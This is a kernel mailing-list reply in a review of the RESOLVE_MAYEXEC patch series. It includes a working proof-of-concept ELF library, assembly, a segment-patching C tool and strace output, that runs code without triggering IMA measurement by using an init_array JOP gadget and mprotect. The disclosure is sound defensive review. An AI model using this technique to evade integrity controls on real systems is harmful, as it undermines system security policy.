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Message-ID: <CAG48ez1bKzh1YvbD_Lcg0AbMCH_cdZmrRRumU7UCJL=qPwNFpQ@mail.gmail.com>
Date: Tue, 28 Apr 2020 21:21:48 +0200
From: Jann Horn <jannh@...gle.com>
To: Mickaël Salaün <mic@...ikod.net>
Cc: kernel list <linux-kernel@...r.kernel.org>, Aleksa Sarai <cyphar@...har.com>,
Alexei Starovoitov <ast@...nel.org>, Al Viro <viro@...iv.linux.org.uk>,
Andy Lutomirski <luto@...nel.org>, Christian Heimes <christian@...hon.org>,
Daniel Borkmann <daniel@...earbox.net>, Deven Bowers <deven.desai@...ux.microsoft.com>,
Eric Chiang <ericchiang@...gle.com>, Florian Weimer <fweimer@...hat.com>,
James Morris <jmorris@...ei.org>, Jan Kara <jack@...e.cz>, Jonathan Corbet <corbet@....net>,
Kees Cook <keescook@...omium.org>, Matthew Garrett <mjg59@...gle.com>,
Matthew Wilcox <willy@...radead.org>, Michael Kerrisk <mtk.manpages@...il.com>,
Mickaël Salaün <mickael.salaun@....gouv.fr>,
Mimi Zohar <zohar@...ux.ibm.com>,
Philippe Trébuchet <philippe.trebuchet@....gouv.fr>,
Scott Shell <scottsh@...rosoft.com>,
Sean Christopherson <sean.j.christopherson@...el.com>, Shuah Khan <shuah@...nel.org>,
Steve Dower <steve.dower@...hon.org>, Steve Grubb <sgrubb@...hat.com>,
Thibaut Sautereau <thibaut.sautereau@....gouv.fr>,
Vincent Strubel <vincent.strubel@....gouv.fr>,
Kernel Hardening <kernel-hardening@...ts.openwall.com>, Linux API <linux-api@...r.kernel.org>,
linux-security-module <linux-security-module@...r.kernel.org>,
linux-fsdevel <linux-fsdevel@...r.kernel.org>
Subject: Re: [PATCH v3 0/5] Add support for RESOLVE_MAYEXEC
On Tue, Apr 28, 2020 at 7:51 PM Mickaël Salaün <mic@...ikod.net> wrote:
> The goal of this patch series is to enable to control script execution
> with interpreters help. A new RESOLVE_MAYEXEC flag, usable through
> openat2(2), is added to enable userspace script interpreter to delegate
> to the kernel (and thus the system security policy) the permission to
> interpret/execute scripts or other files containing what can be seen as
> commands.
>
> This third patch series mainly differ from the previous one by relying
> on the new openat2(2) system call to get rid of the undefined behavior
> of the open(2) flags. Thus, the previous O_MAYEXEC flag is now replaced
> with the new RESOLVE_MAYEXEC flag and benefits from the openat2(2)
> strict check of this kind of flags.
>
> A simple system-wide security policy can be enforced by the system
> administrator through a sysctl configuration consistent with the mount
> points or the file access rights. The documentation patch explains the
> prerequisites.
>
> Furthermore, the security policy can also be delegated to an LSM, either
> a MAC system or an integrity system. For instance, the new kernel
> MAY_OPENEXEC flag closes a major IMA measurement/appraisal interpreter
> integrity gap by bringing the ability to check the use of scripts [1].
> Other uses are expected, such as for openat2(2) [2], SGX integration
> [3], bpffs [4] or IPE [5].
>
> Userspace needs to adapt to take advantage of this new feature. For
> example, the PEP 578 [6] (Runtime Audit Hooks) enables Python 3.8 to be
> extended with policy enforcement points related to code interpretation,
> which can be used to align with the PowerShell audit features.
> Additional Python security improvements (e.g. a limited interpreter
> withou -c, stdin piping of code) are on their way.
>
> The initial idea come from CLIP OS 4 and the original implementation has
> been used for more than 11 years:
> https://github.com/clipos-archive/clipos4_doc
>
> An introduction to O_MAYEXEC (original name of RESOLVE_MAYEXEC) was
> given at the Linux Security Summit Europe 2018 - Linux Kernel Security
> Contributions by ANSSI:
> https://www.youtube.com/watch?v=chNjCRtPKQY&t=17m15s
> The "write xor execute" principle was explained at Kernel Recipes 2018 -
> CLIP OS: a defense-in-depth OS:
> https://www.youtube.com/watch?v=PjRE0uBtkHU&t=11m14s
>
> This patch series can be applied on top of v5.7-rc3. This can be tested
> with CONFIG_SYSCTL. I would really appreciate constructive comments on
> this patch series.
Just as a comment: You'd probably also have to use RESOLVE_MAYEXEC in
the dynamic linker. A while back, I wrote a proof-of-concept ELF
library that can execute arbitrary code without triggering IMA because
it has no executable segments - instead it uses init_array to directly
trigger code execution at a JOP gadget in libc that then uses
mprotect() to make the code executable. I tested this on Debian
Stretch back in 2018.
=============================
user@...ian:~/ima_stuff$ cat make_segments_rw.c
#include <stdlib.h>
#include <fcntl.h>
#include <err.h>
#include <elf.h>
#include <sys/mman.h>
#include <sys/stat.h>
int main(int argc, char **argv) {
int fd = open(argv[1], O_RDWR);
if (fd == -1) err(1, "open");
struct stat st;
if (fstat(fd, &st)) err(1, "stat");
unsigned char *mapping = mmap(NULL, st.st_size,
PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);
if (mapping == MAP_FAILED) err(1, "mmap");
Elf64_Ehdr *ehdr = (void*)mapping;
Elf64_Phdr *phdrs = (void*)(mapping + ehdr->e_phoff);
for (int i=0; i<ehdr->e_phnum; i++) {
phdrs[i].p_flags &= ~PF_X;
phdrs[i].p_flags |= PF_W;
}
return 0;
}
user@...ian:~/ima_stuff$ cat test.s
.text
.section .text.startup,"aw",@progbits
.globl foobar
.align 4096
foobar:
/* alignment for xmm stuff in libc */
sub $8, %rsp
call getpid
mov %rax, %rsi
leaq message(%rip), %rdi
call printf
movq stdout_indir(%rip), %rdi
movq (%rdi), %rdi
call fflush
xor %edi, %edi
call _exit
.section .init_array,"aw"
.align 8
.quad rmdir+0x774
.section .fini_array,"aw"
.quad 0xdeadbeef
.quad 0xdeadbeef
.quad 0xdeadbeef
.quad ucontext_data /* goes into rdi */
.quad 0xdeadbeef
.quad 0xdeadbeef
.quad 0xdeadbeef
.quad 0xdeadbeef
.quad setcontext+0x35 /* call target */
.data
ucontext_data:
/* 0x00 */
.quad 0xdeadbeefdeadbeef, 0xdeadbeefdeadbeef
.quad 0xdeadbeefdeadbeef, 0xdeadbeefdeadbeef
.quad 0xdeadbeefdeadbeef, 0xdeadbeefdeadbeef
.quad 0xdeadbeefdeadbeef, 0xdeadbeefdeadbeef
/* 0x40 */
.quad 0xdeadbeefdeadbeef, 0xdeadbeefdeadbeef
.quad 0xdeadbeefdeadbeef, 0xdeadbeefdeadbeef
.quad 0xdeadbeefdeadbeef, foobar
.quad 0x1000, 0xdeadbeefdeadbeef
/* 0x80 */
.quad 0xdeadbeefdeadbeef, 0x7
.quad 0xdeadbeefdeadbeef, 0xdeadbeefdeadbeef
.quad stack_end, mprotect
/* my stack */
.fill 0x10000, 1, 0x42
stack_end:
.quad foobar
message:
.string "hello world from PID %d\n"
stdout_indir:
.quad stdout
user@...ian:~/ima_stuff$ gcc -o make_segments_rw make_segments_rw.c
user@...ian:~/ima_stuff$ as -o test.o test.s
test.s: Assembler messages:
test.s:2: Warning: setting incorrect section attributes for .text.startup
user@...ian:~/ima_stuff$ ld -shared -znorelro -o test.so test.o
user@...ian:~/ima_stuff$ ./make_segments_rw test.so
user@...ian:~/ima_stuff$ LD_PRELOAD=./test.so /bin/echo
hello world from PID 1053
user@...ian:~/ima_stuff$ sudo tail
/sys/kernel/security/ima/runtime_measurements_count
1182
user@...ian:~/ima_stuff$ sudo tail /sys/kernel/security/ima/runtime_measurements
tail: cannot open '/sys/kernel/security/ima/runtime_measurements' for
reading: No such file or directory
user@...ian:~/ima_stuff$ sudo tail
/sys/kernel/security/ima/ascii_runtime_measurements
10 2435d24127ce5bcfbe776589ac86bc85530da07d ima-ng
sha256:ae35ddf5dbbef6ea31e8b87326001d12a6b4ec479bb8195b874d733d69ed1a4d
/usr/bin/x86_64-linux-gnu-gcc-6
10 f3ed20073a77fbc020d2807ce12ffc4cdbced976 ima-ng
sha256:65af5a9ea7ce00be9b921d4b13f5224c2369451eb918d4fa7721442283545957
/usr/bin/x86_64-linux-gnu-g++-6
10 25f0128e89a730a6f1cdd42d8de71d3db2625c9e ima-ng
sha256:d5d7e609b95939d0ae9f75a953d5cda4f1d8b9e4c1db98aeee7f792028bf026e
/usr/bin/x86_64-linux-gnu-as
10 51cf269a0008ab8173c7a696bee11be86a0bbd45 ima-ng
sha256:2d10a4e221ef8454b635f1ec646e6f4ff7f3db8e2e59b489c642758b2624a659
/usr/lib/x86_64-linux-gnu/libopcodes-2.28-system.so
10 b5c1db60c50722e1af84b83b34c0adb04b98d040 ima-ng
sha256:d3eef29b5b5bfc12999c5dbcc91029302477b70c7599aeb6b564140a336ab00b
/usr/lib/x86_64-linux-gnu/libbfd-2.28-system.so
10 6364d50cdac1733b7fd5dcfd9df124d1e4362a12 ima-ng
sha256:30c26e4b3cbd0677b2a23d09a72989002af138be57d301ed529c91b88427098f
/usr/lib/gcc/x86_64-linux-gnu/6/collect2
10 2a8c7ddacee57967e8a00ee1a522b552e29f559f ima-ng
sha256:a7b6287a8095701713e9ee7a886cae1f1ceefd0ce9c45dcc38719af563200964
/usr/bin/x86_64-linux-gnu-ld.bfd
10 e55a9c15349e2271cbdfe2f4fe36cd5b4070d3d0 ima-ng
sha256:b31674ad141a40eb2603f20400cc0dea4ee32ecf87771df3d039f16aae60ee26
/usr/lib/gcc/x86_64-linux-gnu/6/liblto_plugin.so.0.0.0
10 617aab630be74cd5bb7d830a727fd29cda361743 ima-ng
sha256:40fbf6acd3182d7a1ad158cd4de48da704bfe84f468d7b58dd557db93fe8a34c
/usr/bin/vim.basic
10 2c1fe398ecc0a8db6651621715d60a7e1b1958dc ima-ng
sha256:8523b422a01af773eff76b981c763cf0c739ea3030e592bb4d4f7854e295c418
/home/user/ima_stuff/make_segments_rw
user@...ian:~/ima_stuff$
=============================
When looking at the syscalls the process is making, you can see that
it indeed never calls mmap() with PROT_EXEC on the library (I use
mprotect() to make my code executable, but IMA doesn't use the
mprotect security hook):
=============================
user@...ian:~/ima_stuff$ strace -E LD_PRELOAD=./test.so /bin/echo
execve("/bin/echo", ["/bin/echo"], [/* 44 vars */]) = 0
brk(NULL) = 0x5642c52bc000
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
mmap(NULL, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1,
0) = 0x7fb83e817000
open("./test.so", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\0\20\0\0\0\0\0\0"...,
832) = 832
fstat(3, {st_mode=S_IFREG|0755, st_size=72232, ...}) = 0
getcwd("/home/user/ima_stuff", 128) = 21
mmap(NULL, 2167449, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_DENYWRITE,
3, 0) = 0x7fb83e3e5000
mprotect(0x7fb83e3e7000, 2093056, PROT_NONE) = 0
mmap(0x7fb83e5e6000, 69632, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1000) = 0x7fb83e5e6000
mprotect(0x7ffea1b1f000, 4096,
PROT_READ|PROT_WRITE|PROT_EXEC|PROT_GROWSDOWN) = 0
close(3) = 0
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=103509, ...}) = 0
mmap(NULL, 103509, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7fb83e7fd000
close(3) = 0
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
open("/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\320\3\2\0\0\0\0\0"...,
832) = 832
fstat(3, {st_mode=S_IFREG|0755, st_size=1689360, ...}) = 0
mmap(NULL, 3795360, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3,
0) = 0x7fb83e046000
mprotect(0x7fb83e1db000, 2097152, PROT_NONE) = 0
mmap(0x7fb83e3db000, 24576, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x195000) = 0x7fb83e3db000
mmap(0x7fb83e3e1000, 14752, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7fb83e3e1000
close(3) = 0
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1,
0) = 0x7fb83e7fb000
arch_prctl(ARCH_SET_FS, 0x7fb83e7fb700) = 0
mprotect(0x7fb83e3db000, 16384, PROT_READ) = 0
mprotect(0x5642c3eed000, 4096, PROT_READ) = 0
mprotect(0x7fb83e81a000, 4096, PROT_READ) = 0
munmap(0x7fb83e7fd000, 103509) = 0
mprotect(0x7fb83e3e6000, 4096, PROT_READ|PROT_WRITE|PROT_EXEC) = 0
getpid() = 1084
fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 4), ...}) = 0
brk(NULL) = 0x5642c52bc000
brk(0x5642c52dd000) = 0x5642c52dd000
write(1, "hello world from PID 1084\n", 26hello world from PID 1084
) = 26
exit_group(0) = ?
+++ exited with 0 +++
=============================
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